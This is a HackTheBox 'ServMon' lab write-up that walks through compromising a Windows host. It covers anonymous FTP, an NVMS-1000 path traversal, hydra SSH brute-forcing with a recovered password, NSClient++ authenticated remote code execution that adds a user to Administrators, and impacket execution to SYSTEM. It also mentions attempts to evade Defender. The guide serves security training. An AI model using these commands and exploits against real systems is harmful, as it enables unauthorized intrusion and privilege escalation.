Thumbnail: gravatar

HacktheBox 'ServMon' writeup

by on under writeups
29 minute read

‘ServMon’ HTB Writeup


Host Information

Hostname IP Address Operating System Difficulty Level
ServMon Windows Easy

ServMon HTB Info Card


view all writeups here


Writeup Contents


Initial Recon



nmap information

An initial full TCP nmap scan of the host was run with the followiong command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/servmon/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/servmon/scans/xml/_full_tcp_nmap.xml"

The following ports were revealed open on the target, followed by the full nmap script ouput below:

Port State Service Version
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH for_Windows_7.7
80/tcp open http  
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds  
5040/tcp open unknown  
5666/tcp open tcpwrapped  
6063/tcp open tcpwrapped  
6699/tcp open tcpwrapped  
8443/tcp open https-alt  
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
# Nmap 7.80 scan initiated Tue Jun 16 17:59:39 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/servmon/scans/_full_tcp_nmap.txt -oX /0ps/HTB/servmon/scans/xml/_full_tcp_nmap.xml
Increasing send delay for from 0 to 5 due to 73 out of 243 dropped probes since last increase.
Nmap scan report for
Host is up, received user-set (0.039s latency).
Scanned at 2020-06-16 17:59:40 CDT for 2784s
Not shown: 65517 closed ports
Reason: 65517 resets
21/tcp    open  ftp           syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       <DIR>          Users
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnC92+BCplDo38VDQIZzb7V3HN/OucvxF0VMDDoYShdUrpDUW6JcSR/Zr6cADbHy7eDLw2O+WW+M4SzH7kfpbTv3HvJ0z8iOsRs2nUrUint4CR/A2vYA9SFOk18FU0QUS0sByBIlemU0uiPxN+iRCcpFhZDj+eiVRF7o/XxNbExnhU/2n9MXwFS8XTYNeGqSLE1vV6KdpMfpJj/yey8gvEpDQTX5OQK+kkUHze3LXLyu/XVTKzfqUBMAP+IQ5F6ICWgaC1a+cx/D7C/aobCbqaXY+75t1mxbEMmm1Wv/42nVQxcT7tN2C3sds4VJkYgZKcBhsE0XdJcR9mTb1wWsg9
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|   256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp    open  http          syn-ack ttl 127
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
|     <html xmlns="">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-favicon: Unknown favicon MD5: 3AEF8B29C4866F96A539730FAB53A88F
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
5040/tcp  open  unknown       syn-ack ttl 127
5666/tcp  open  tcpwrapped    syn-ack ttl 127
6063/tcp  open  tcpwrapped    syn-ack ttl 127
6699/tcp  open  tcpwrapped    syn-ack ttl 127
8443/tcp  open  ssl/https-alt syn-ack ttl 127
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions, apple-iphoto, docker, hazelcast-http: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest, OfficeScan: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|     jobs
|     submitted
|     errors
|     threads
|   metasploit-msgrpc: 
|     HTTP/1.1 403
|     Content-Length: 20
|_    Your not allowed
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-01-14T13:24:20
| Not valid after:  2021-01-13T13:24:20
| MD5:   1d03 0c40 5b7a 0f6d d8c8 78e3 cba7 38b4
| SHA-1: 7083 bd82 b4b0 f9c0 cc9c 5019 2f9f 9291 4694 8334
| kUUWbCi0E1C/LfZFrm4UKCheesOFUAITOnrCvfkYmUR0o7v9wQ8yR5sQR8OIxfJN
| vOTE3C/YZjPE/XLFrLhBpb64X83rqzFRwX7bHVr+PZmHQR0qFRvrsWoQTKcjrElo
| R4WgF4AWkR8vQqsCADPuDGIsNb6PyXSru8/A/HJSt5ef8a3dcOCszlm2bP62qsa8
| XqumPHAKKwiu8k8N94qyXyVwOxbh1nPcATwede5z/KkpKBtpNfSFjrL+sLceQC5S
| wU8u06kPwgzrqTM4L8hyLbsgGcByOBeWLjPJOuR0L/a33yTL3lLFDx/RwGIln5s7
| b2f08SxINbWy4iDxomygRhT/auRNIypAT2muZ2//KBtUiUxaHZguCwUUzB/1jiED
| s/IDA6dWvImHWnOZGgIUsLo/242RsNgKUYYz8sxGeDKceh6F9RvyG3Sr0OyUrPHt
| sc2hPkgZ0jgf4igc6/3KLCffK5o85bLOQ4hCmJqI74aNenTMNnojk42NfBln2cvU
| vK13uXz0wU1PDgfyGrq8DL8A89zsmdW6QzBElnNKpqNdSj+5trHe7nYYM5m0rrAb
| H2nO4PdFbPGJpwRlH0BOm0kIY0az67VfOakdo1HiWXq5ZbhkRm27B2zO7/ZKfVIz
| XXrt6LA=
|_ssl-date: TLS randomness does not represent time
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
2 services unrecognized despite returning data.
Aggressive OS guesses: Microsoft Windows Longhorn (95%), Microsoft Windows 10 1511 (93%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Server 2008 SP2 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows 8 (93%), Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 7 Enterprise SP1 (92%)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1m19s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50413/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 20065/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 62907/udp): CLEAN (Failed to receive data)
|   Check 4 (port 62863/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-16T23:47:04
|_  start_date: N/A

TRACEROUTE (using port 443/tcp)
1   38.97 ms
2   39.23 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Tue Jun 16 18:46:04 2020 -- 1 IP address (1 host up) scanned in 2784.81 seconds


nmap scan observations

We see that the target is Windows, with an HTTP service open on port 80, FTP (which allows anonymous logon) and SSH on their standard ports, SMB open on 139 and 445, an appararnt ‘https-alt’ service on port 8443, and a variety of msrpc servicees.

FTP enumeration

We can quickly verify that FTP allows for anonymous logons, and can see a two potentially interesting files under two different subdirectories of users, as shown below.

initinfosec@kali:/0ps/HTB/servmon/scans$ ftp 21
Connected to
220 Microsoft FTP Service
Name ( anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:05PM       <DIR>          Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:06PM       <DIR>          Nadine
01-18-20  12:08PM       <DIR>          Nathan
226 Transfer complete.
ftp> dir Nadine
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:08PM                  174 Confidential.txt
226 Transfer complete.
ftp> dir Nathan
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:10PM                  186 Notes to do.txt
226 Transfer complete.

Let’s go ahead and transfer both text files to our loot directory and view them:

ftp> get Nadine/Confidential.txt confidential.txt
local: confidential.txt remote: Nadine/Confidential.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
174 bytes received in 0.04 secs (4.1331 kB/s)
ftp> get "Nathan/Notes to do.txt" notes_to_do.txt
local: notes_to_do.txt remote: Nathan/Notes to do.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
186 bytes received in 0.04 secs (4.3099 kB/s)
ftp> bye
221 Goodbye.

initinfosec@kali:/0ps/HTB/servmon/loot$ cat confidential.txt && echo "" && cat notes_to_do.txt && echo ""

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.


1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Great, so we know there may be a Passwords.txt file on Nathan’s desktop folder with sensitive information, or it may have been updated and moved to an allegedly ‘secure location.’

There’s also note about uploading passwords and locking down NVMS, which don’t appear to be done yet, as well as placing the secret files in Sharepoint. Perhaps that was the ‘secret location’ mentioned earlier. There was also mention of the NVMS password being updated, which is already marked done. So it may be a fair assumption that a default password for the service may not work, if there is one.


SMB Enumeration

Briefly taking a look at SMB, we can try a variety of enumeration commands. However, we notice that nmap NSE enumeration scripts for SMB fail, as does enum4linux and smbmap and smbclient commands - stating eithe NT_ACCESS_DENIED or RPC Authentication error occured - both on ports 139 and 445.

A more intensive/loud nmap NSE scan targeted at trying to identify SMB vulnerabilites on these ports on the target, but it also yields nothing of obvious use, as shown by the output below:

initinfosec@kali:/0ps/HTB/servmon/scans$ sudo nmap -vv --reason -Pn -sV -p 139,445 --script=smb-vuln* --script-args="unsafe=1"
Starting Nmap 7.80 ( ) at 2020-06-16 23:04 CDT
NSE: Loaded 56 scripts for scanning.
Scanning [2 ports]
Discovered open port 139/tcp on
Discovered open port 445/tcp on
Completed SYN Stealth Scan at 23:04, 0.09s elapsed (2 total ports)
Initiating Service scan at 23:04
Scanning 2 services on
Completed Service scan at 23:04, 8.78s elapsed (2 services on 1 host)
NSE: Script scanning
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:04
Completed NSE at 23:05, 13.45s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.10s elapsed
Nmap scan report for
Host is up, received user-set (0.044s latency).
Scanned at 2020-06-16 23:04:39 CDT for 23s

139/tcp open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds? syn-ack ttl 127
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 23.23 seconds
           Raw packets sent: 2 (88B) | Rcvd: 2 (88B)

HTTP enumeration

A quick visit to the main page of in a browser seems to confirm what NVMS is, showing a portal stating “NVMS-1000” as shown below:

NVMS login page on ServMon

This appears to be some centralized storage for surviellance video suggested by this link which also seems to indicate that usernames and passwords are self-defined upon setup.

A quick search on EDB seems to show that NVMS-1000 may be vulnerable to directory traversal:

initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit nvms 1000
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                |  Path
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
NVMS 1000 - Directory Traversal                                                                                               | hardware/webapps/47774.txt
TVT NVMS 1000 - Directory Traversal                                                                                           | hardware/webapps/
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Both vulnerability entries seem to suggest the same method for traversal, but it’s not yet clear if the traversal requires authentication. The fact that neither exploit mentions it though may hint that exploitation for this vulnerabilty does not require auth.

Let’s go ahead and download the python version of the exploit and see if we can retreive the passwords.txt file from Nathan’s desktop.

initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit -m 48311

Running the command then gives us usage info:

initinfosec@kali:/0ps/HTB/servmon/exploit$ python 
Usage : python url filename outputname
Example : python windows/win.ini win.ini

If you happen to get the following non-ASCII character error, change the last name on line 7 to have a standard “u” instead of the U umlaut.

  File "", line 7
SyntaxError: Non-ASCII character '\xc3' in file on line 7, but no encoding declared; see for details

When running the script however, we get a result that the server is not vulnerable to path traversal. So perhaps this exploit is not applicable, or does indeed require authentication:

initinfosec@kali:/0ps/HTB/servmon/exploit$ python users/desktop/nathan/Passwords.txt passwords.txt
Host not vulnerable to Directory Traversal!

It seems that the page may be redirecting any URL appended to the main address unless authentication is provided, however, as is evidenced by a failed gobuster scan, as well as hinted at in a nikto scan of the host, with the results shown below:

initinfosec@kali:/0ps/HTB/servmon/scans$ cat tcp_80_http_nikto.txt 
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2020-06-16 18:07:32 (GMT-5)
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'authinfo' found, with contents: 
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-18114: /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF:  Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution
+ 7865 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2020-06-16 18:28:15 (GMT-5) (1243 seconds)
+ 1 host(s) tested

However, we notice if we URL encode the ../’s found in the exploit and manually search for the passwords.txt file, that the directory traversal vulnerabilty does indeed exist and is trivially exploitable.

Going to shows the following:


HTTPS Enumeration

Visiting the index/main page of the HTTPS service on port 8443 shows the following after accepting the certification warning, labeled as NSClient++

NSClient++ index page on ServMon

A quick google search for the default login for NSClient seems to indicate a password may not be initially set however this doesn’t seem to work when trying it.

I’m not familiar with the web application, software, but a quick google search seems to show that it is a free open-source software (FOSS) acting as a monitoring agent. This would make sense why the hostname is ServMon, in this case.

Trying each of the passwords found from the path traversal exploit against port 80 for the admin sign in doesn’t seem to yield a successful login. However, it’s not entirely clear if the password is incorrect or if the service just does not allow external logons, as we recall that the second item in the To-Do list mentioned that locking down NSClient Access was done.


gaining an initial foothold

So let’s try to figure out what the found passwords belong to. We know that we have FTP, SSH, and SMB which require auth. We’ll start by creating two files, once containing likely usernames, one containing the passwords found from the path traversal vulnerability. Then we can use hydra to attempt to try these combinations on the aforementioned services. We can quickly create these lists, which are shown below:

initinfosec@kali:/0ps/HTB/servmon/scans$ cat users.list

initinfosec@kali:/0ps/HTB/servmon/scans$ cat passwords.list

First we can try attempting a login on FTP with hydra, using the following command:

initinfosec@kali:/0ps/HTB/servmon/scans$ hydra -L users.list -P passwords.list -e nsr -s 21 -o "/0ps/HTB/servmon/scans/tcp_21_ftp_hydra.txt"

However, it appears this was unsuccessful and found no FTP logins from the list.

Next we run a similar hydra command using the lists to test against SSH:

initinfosec@kali:/0ps/HTB/servmon/scans$ hydra -L users.list -P passwords.list -e nsr -s 22 -o "/0ps/HTB/servmon/scans/tcp_22_ssh_hydra.txt" ssh://
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-06-17 12:08:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 60 login tries (l:6/p:10), ~4 tries per task
[DATA] attacking ssh://
[22][ssh] host:   login: Nadine   password: L1k3B1gBut7s@W0rk
[22][ssh] host:   login: nadine   password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra ( finished at 2020-06-17 12:08:38

This does indeed seem to be successful, providing a probable login for nadine over SSH. Using the credentials validates the scanner findings, providing us an initial foothold on the target ‘ServMon’ as ‘nadine’ as shown in the below screenshot. From here we can grab the user.txt file from Nadine’s desktop

Initial foothold on ServMon as user 'Nadine'


Privilege Escalation


PrivEsc enumeration

Now we need to figure out how to escalate privileges from Nadine to NT_AUTHORITY_SYSTEM. A quick looking in the users folder shows Public, Nathan, and Admintrator listed alongside Nadine, with access denied to each of these folders. Going to the root of the C: drive, we see a folder called ‘Shared’ which seems to be the ftproot.

Running a whoami /all commmand, we can gather further information about our current user:

nadine@SERVMON c:\Program Files>whoami /all


User Name      SID
============== =============================================
servmon\nadine S-1-5-21-3877449121-2587550681-992675040-1002


Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192


Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

Looking around in the root directory and a few other folders underneath, nothing sticks out as an obvious sharepoint folder (hinted at in the to-do list) where we might find addiitonal credentials or useful information. There does seem to be an interesting directory called RecData containing a SQLite database, shown below. The DB table doesn’t seem to contain creds but mentions alerts. If I were to take an educated guess, this is likely footage storage for the NVMS-1000 platform as it seems to deail with security/surviellance footage.

nadine@SERVMON c:\RecData>dir
 Volume in drive C has no label.
 Volume Serial Number is 728C-D22C

 Directory of c:\RecData

17/06/2020  18:31    <DIR>          .
17/06/2020  18:31    <DIR>          ..
18/01/2020  11:00             8,192 RecordInfoDB.db3
18/01/2020  11:00                 0 RecordInfoDB.db3-journal
17/06/2020  18:31           229,888 winpeas.exe
               3 File(s)        238,080 bytes
               2 Dir(s)  27,848,257,536 bytes free

nadine@SERVMON c:\RecData>type RecordInfoDB.db3
SQLite format 3   @                                                                    -Ô#   ¹   ¹
         CHANNEL_ID CHAR(64) NOT NULL,                                           ALARM_TYPE INTEGER,                                             START_TIME INTEGER,
                         END_TIME   INTEGER,                                             CONSTRAINT [C_ALARM_REC_INFO_PrimaryKey] PRIMARY KEY (CHANNEL_ID, ALARM_TYPE, START_
         FILE_INDEX   INTEGER,                                           FILE_STATUS  INTEGER,                                           HAS_BADTRACK INTEGER,
                 START_TIME   INTEGER,                                           END_TIME     INTEGER,                                           USED_TIMES   INTEGER,

   ÿ ÿ┌y
E_INFOCREATE TABLE C_REC_FILE_INFO (                                            FILE_INDEX   INTEGER,                                           FILE_STATUS  INTEGER,
                         HAS_BADTRACK INTEGER,                                           START_TIME   INTEGER,                                           END_TIME     INTEGER
,                                                USED_TIMES   INTEGER,                                           CONSTRAINT [C_REC_FILE_INFO_PrimaryKey] PRIMARY KEY (FILE_IN
DEX))é#--âytableC_ALARM_REC_INFOC_ALARM_REC_INFOCREATE TABLE C_ALARM_REC_INFO (                                              CHANNEL_ID CHAR(64) NOT NULL,
                 ALARM_TYPE INTEGER,                                             START_TIME INTEGER,                                             END_TIME   INTEGER,
   y y║¢
         CHANNEL_ID CHAR(64) NOT NULL,                                           START_TIME INTEGER,                                             END_TIME   INTEGER,

Another thing we can check is if we can authenticate to SMB using nadine’s crednetials, since we know they are valid now. Going to smb:// in the filebrowser and logging in with the same credentials found for SSH is successful, showing both a C$ folder and an ADMIN$ folder. However, the authentication does not work seemingly, when trying to go into either of these directories. This is further confirmed that nadine does not had read access to either share by running the following smbmap command providing nadine’s crednetials:

initinfosec@kali:/0ps/HTB/servmon/scans$ sudo smbmap -H -u nadine -p 'L1k3B1gBut7s@W0rk'
[+] IP:        Name:
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC


Going back to test the NSClient login, it appears Nadine’s credentials do not work. However, when clicking the ‘Forgot Password’ link, there’s an option to run a command to either show the current password, or reset it, as shown below.

NSClient Forgot password option on ServMon

Going to the NSClient++ directory in Program Files, we run the command given, which does indeed show the current password, as shown below:

nadine@SERVMON c:\Program Files\NSClient++>nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT

However, entering this still gives a 403 error. It’s likely that external hosts/IPs are not allowed, as locking down the NSClient Access was marked as ‘done’ on the to-do list found at the begninning.

Since we know valid creds for the target and the port is above 1024, let’s use SSH to forward traffic from our attacker IP on port 8443 to the server on port 8443 appearing as localhost, in order to see if we can have the server see the authentication as coming from localhost, and potentially allow us to authenticate. In order to perform this, we’ll run a remote port forward from the target foothold as nadine, but provide our VPN IP as the argument to authenticate against.

In a new terminal, ensure that SSH server is running locally on the attacker machine with sudo service ssh start. Once done, we’ll login as nadine again in this new shell (in case we need the other one for later). Once authenticated as nadine, we’ll run the remote port forward argument, telling SSH to forward anything that comes from our VPN IP (provided as the auth arguement at the end) over to localhost on port 8443. So all said and done, the syntax should look something like what is shown below. Note that due to SSH settings in kali, localhost is forwarded with the given argument, meaning that you will have to browse to the URL as https://localhost:8443, as shown by the listening ports in the netstat command at the end of the code block below. Note that this still forwards the traffice properly to the target.

initinfosec@kali:/0ps/HTB/servmon/exploit$ ssh nadine@
nadine@'s password:
Permission denied, please try again.
nadine@'s password:
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>ssh -R :8443:localhost:8443 initinfosec@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:rBBINlDaQ4Lwgo/amxsi1wRcVXDwC5r+zOsMX+FiCaM.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
initinfosec@'s password:
Linux kali 5.6.0-kali2-amd64 #1 SMP Debian 5.6.14-1kali1 (2020-05-25) x86_64

initinfosec@kali:~$ sudo netstat -tulpn | grep 8443
tcp        0      0*               LISTEN      11223/sshd: initinf
tcp6       0      0 ::1:8443                :::*                    LISTEN      11223/sshd: initinf

[A local forward may be possible with the right syntax, but in order to achieve the desired traffic flow, remote as shown above made the most sense to me.]

Entering the provided credentials in the login box on the server after forwarding the port allows for successful authentication now, as shown in the below screenshot depicting the NSClient page after login.

successful login to NSClient afer port forward on ServMon


gaining system

Now that we have successful authentication to NSClient, let’s take a look at exploits potentially avialable for NSClient. Using searchsploit to check EDB, we quickly find two promising candidates that both seem to perform command execution:

initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit nsclient
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                             |  Path
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
NSClient++ - Authenticated Remote Code Execution                                                                                  | json/webapps/48360.txt
NSClient++ - Privilege Escalation                                                                                                 | windows/local/46802.txt
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Both look viable, but 48360 looks a little more fleshed-out as a python script, so let’s go for that one. We’ll download the file and rename it to a more descriptive filename, and then run the command to see the usage info:

initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit -m 48360
  Exploit: NSClient++ - Authenticated Remote Code Execution
     Path: /usr/share/exploitdb/exploits/json/webapps/48360.txt
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /0ps/HTB/servmon/exploit/48360.txt

intinfosec@kali:/0ps/HTB/servmon/exploit$ mv 48360.txt
initinfosec@kali:/0ps/HTB/servmon/exploit$ python3
usage: NSClient++ Authenticated RCE [-h] [-t [target]] [-P [port]] [-p [password]] [-c [command]]

optional arguments:
  -h, --help     show this help message and exit
  -t [target]    Target IP Address.
  -P [port]      Target Port.
  -p [password]  NSClient++ Administrative Password.
  -c [command]   Command to execute on target

It looks like we can provide a command to execute to the target if successful, so let’s go ahead try to add nadine to the adminstrators group. The command run is shown below:

initinfosec@kali:/0ps/HTB/servmon/exploit$ python3 -t -P 8443 -p ew2x6SsGTxjRwXOT -c 'net localgroup Administrators nadine /add'
[!] Targeting base URL
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Enabling External Scripts Module . . .
[!] Configuring Script with Specified Payload . . .
[+] Added External Script (name: wlwJwtDGStP)
[!] Saving Configuration . . .
[!] Reloading Application . . .
[!] Waiting for Application to reload . . .
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Triggering payload, should execute shortly . . .

Going back to our shell with nadine logged in, we can run a group query, and confirm the exploit successfully added nadine to the administrators group:

nadine@SERVMON C:\Users\Nadine>net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain


The command completed successfully.



Awesome, so we know the exploit worked. However, we find that the path to further elevate the NT_AUTHORITY_SYSTEM may not be super straightforward. Both when trying to execute a msfvenom reverse shell executable, and when trying to run psexec to elevate to system, execution is blocked. Even with 3 iterations of shakata_gai_na encoding on the msfvenom shell.exe file, Defender still seems to flag the process. PsExec does not seem to run properly as it requires elevated privileges to run the process, where our current shell in the listener is still a user-level shell. Even if it were not, however, my prior attempts trying the psexec elevation method show that it is often caught by defender in more recent versions of Windows, or if not, spawns a new shell, requiring GUI access.

So we need to figure out a way to spawn an elevated shell, when perhaps we cannot do so from our current user shell, and we do not have RDP enabled. Trying to get the exploit to execute nishang’s reverse-tcp.ps1 script also seemed to fail for me (whether it was blocked or my syntax was slightly off in the payload command argument was undetermined.)

However, since we know have administrative rights, we can leverage impacket’s script, which writes and runs an executable via an administrative share over SMB. As this is a new process that is created since it is run local from kali, we no longer have the issue of our old cmd shell being a low-level session. Additionally, execution happens through SMB, somehow getting around the defender block. Whether that was the medium of execution or the type of executable generated by the script is not entirely apparent to me currently.

Ultimately, we can run a simple python3 script found within kali as part of the impacket module. Now that we have administrator abilities, it can leverage the admin share to create and run the executable, giving us a system shell back in the same tty the python script was run in. Syntax is fairly straightforward, like DOMAIN/user:password@IP

Running the following results in an NT_AUTHORITY_SYSTEM shell returned locally, giving us full access to the target ServMon, as shown in the below screenshot.

initinfosec@kali:/0ps/HTB/servmon/exploit$ python3 /usr/local/bin/ WORKGROUP/nadine:L1k3B1gBut7s@W0rk@

system shell on servMon





  • Disallow FTP, and implement a more secure file sharing service. Additionally do not open any file sharing service externally if possible. If external access is needed, try to utilize an allowed list of hosts, while blocking the rest
  • Do not store sensitive information such as credentials on any publically accessible server. If credentials must be stored somewhere, make sure they are local and securely hashed and salted
  • Patch the NVMS-1000 application to address the path traversal vulnerability exploited
